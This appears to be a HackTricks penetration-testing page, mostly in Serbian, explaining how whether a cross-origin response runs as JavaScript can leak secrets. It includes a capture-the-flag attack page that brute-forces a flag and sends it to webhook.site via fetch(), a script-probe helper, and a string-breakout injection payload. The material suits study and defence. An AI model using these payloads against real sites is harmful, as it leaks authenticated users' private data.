JavaScript Execution XS Leak

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Ovaj XS-Search primitive pretvara da li cross-origin response izvršava kao JavaScript u Boolean oracle.

Uobičajeni setup je:

  • Positive state: target vraća attacker-controlled text ili sensitive content koji se ne izvršava kao attacker JavaScript.
  • Negative state: target reflektuje attacker-controlled text u mesto koje se parsira kao validan JavaScript, pa attacker može da forsira callback kao što je window.parent.foo().
  • Leak: učitati target sa klasičnim <script src> i posmatrati da li se callback aktivira.

Ovo je suštinski execution oracle, a ne timing oracle. Jedina stvar koja je attacker-u potrebna je cross-origin script inclusion koja se ponaša drugačije u zavisnosti od secret-dependent branch.

Za opšti XS-Leaks background, vidi:

HackTricks

When This Works

Ova tehnika je praktična kada su svi sledeći uslovi ispunjeni:

  • Victim je authenticated na target origin.
  • Attacker može da natera victim browser da zatraži classic script sa target origin.
  • Jedna grana vraća content koji je valid attacker-controlled JavaScript.
  • Druga grana vraća content koji ne izvršava attacker callback.

U praksi, najlakši slučajevi su search/debug endpoints koji:

  • vraćaju attacker-controlled text kada je guess pogrešan
  • vraćaju drugačiji body kada je guess tačan
  • dozvoljavaju attacker-u da izabere parameter kao što su callback, hint, msg, ili reflected prefix/suffix

Basic Example

Server-side code that will try ${guess} as a flag prefix:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

Glavna stranica koja generiše iframes ka prethodnoj /guessing stranici da bi testirala svaku mogućnost:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

Logika napadača je:

  1. Svakog kandidata započni kao „good“.
  2. Učitaj odgovor mete kao script.
  3. Ako odgovor izvrši window.parent.foo(), označi kandidata kao wrong.
  4. Ako se nijedan callback ne okine, zadrži kandidata i nastavi brute-forcing.

Minimal Probe Pattern

U mnogim stvarnim metama, iframe nije potreban. Dovoljno je direktno uključivanje script:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

Ako grana „wrong guess” odražava miss(), onda:

  • probe(...) === false znači da je callback izvršen ili da je učitavanje failed
  • probe(...) === true znači da se script učitao bez pokretanja attacker callback-a

Za pouzdanost, koristi fresh script element po probe-u i dodaj cache-buster kao što je ?r=${crypto.randomUUID()}.

Modern Caveats

It must be a classic script

Ovaj primitive se oslanja na to da browser preuzima resurs kao classic script. Običan <script src=...> bez crossorigin se preuzima u no-cors modu, i upravo zato je ovaj stari pattern i dalje koristan cross-origin.

Ne prebacuj na type="module" za ovu tehniku:

  • cross-origin module scripts require CORS
  • mnogi targeti koji mogu da se uključe kao classic scripts će jednostavno fail kao modules

MIME type and nosniff decide whether the payload executes

Današnji browseri su stroži nego stariji writeup-ovi. Ako target postavi X-Content-Type-Options: nosniff, browser će blokirati script response čiji MIME type nije JavaScript MIME type.

To znači da ovaj oracle često zavisi od:

  • da li target vraća application/javascript / text/javascript
  • da li target vraća text/plain, text/html, ili JSON
  • da li je nosniff prisutan

Zato neki endpoints daju leak samo u jednoj grani: jedan response je prihvaćen kao script, dok je druga grana blokirana ili drugačije parsirana.

CORB can change the observable result

CORB dodaje još jednu granu o kojoj treba razmišljati. Ako se response smatra CORB-protected, Chromium ga može pretvoriti u prazan valid script response umesto da prikaže parse failure. Tako da za neke endpoint-e:

  • jedno stanje pokreće normalan script parse / callback
  • drugo stanje postaje prazan script i samo onload se okine

To je i dalje koristan oracle, ali signal je sada callback vs no callback ili onload vs onerror, a ne samo „JavaScript izvršen ili ne”.

CSP can kill the attacker-controlled branch

Strict CSP na target response može da polomi ovaj primitive kada reflected branch više nije izvršiv JavaScript. Javna XS-Leak challenge writeup-ovi od 2022. do 2024. više puta zavise od ovog detalja:

  • script-src 'none' može primorati attacker-e da pređu sa direktnog execution oracle-a na nešto drugo
  • CSP/SRI/CSP-report interakcije i dalje mogu da kreiraju druge leak oracles, ali one pripadaju drugim stranicama/tehnikama

Zato, kada očigledan callback trik ne radi, proveri response headers pre nego što odbaciš endpoint.

Useful Variants

Callback-parameter endpoints

Najzgodniji target je JSONP-style ili debug endpoint koji prihvata parametar kao što je:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

Ako „miss” grana reflektuje tu vrednost doslovno u executable JavaScript, dok „hit” grana vraća drugačiji content, dobijaš direktan Boolean oracle bez timing measurement-a.

Syntax-preserving prefixes and suffixes

Ponekad ne možeš potpuno da kontrolišeš response body, ali i dalje možeš da nateraš negative branch da se izvrši:

  • zatvori trenutni string ili funkcijski argument
  • injektuj callback
  • komentariši trailing bytes

Na primer, reflected branch poput:

showResult("<attacker>");

može se često pretvoriti u:

showResult("");window.parent.foo();//");

Ako pozitivna grana ne reflektuje taj payload, callback postaje oracle.

Kombinovanje sa event-based oracles

Ako je endpoint nestabilan kroz browser-e, spoji execution oracle sa generičkim script load eventima koji su već pokriveni u sekciji index:

  • callback fired
  • onload
  • onerror

Ovo je posebno korisno kada jedna grana daje validan JavaScript, a druga grana daje blocked MIME / CORB / CSP ponašanje.

Povezane stranice:

Praktične napomene

  • Preferiraj jedan bit po request-u i neka callback side effect bude jednostavan.
  • Ako proveravaš mnogo kandidata, ukloni prethodno ubačene <script> elemente ili izoluj svaki pokušaj u fresh iframe.
  • Cache i service worker ponašanje mogu da poison-uju oracle; koristi cache-busting.
  • Ovaj primitive je najjači kada je negativna grana potpuno attacker-controlled JavaScript. Ako dobijaš samo partial reflection, exploit postaje problem shapeovanja payload-a, a ne XS-Search problem.

Reference

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks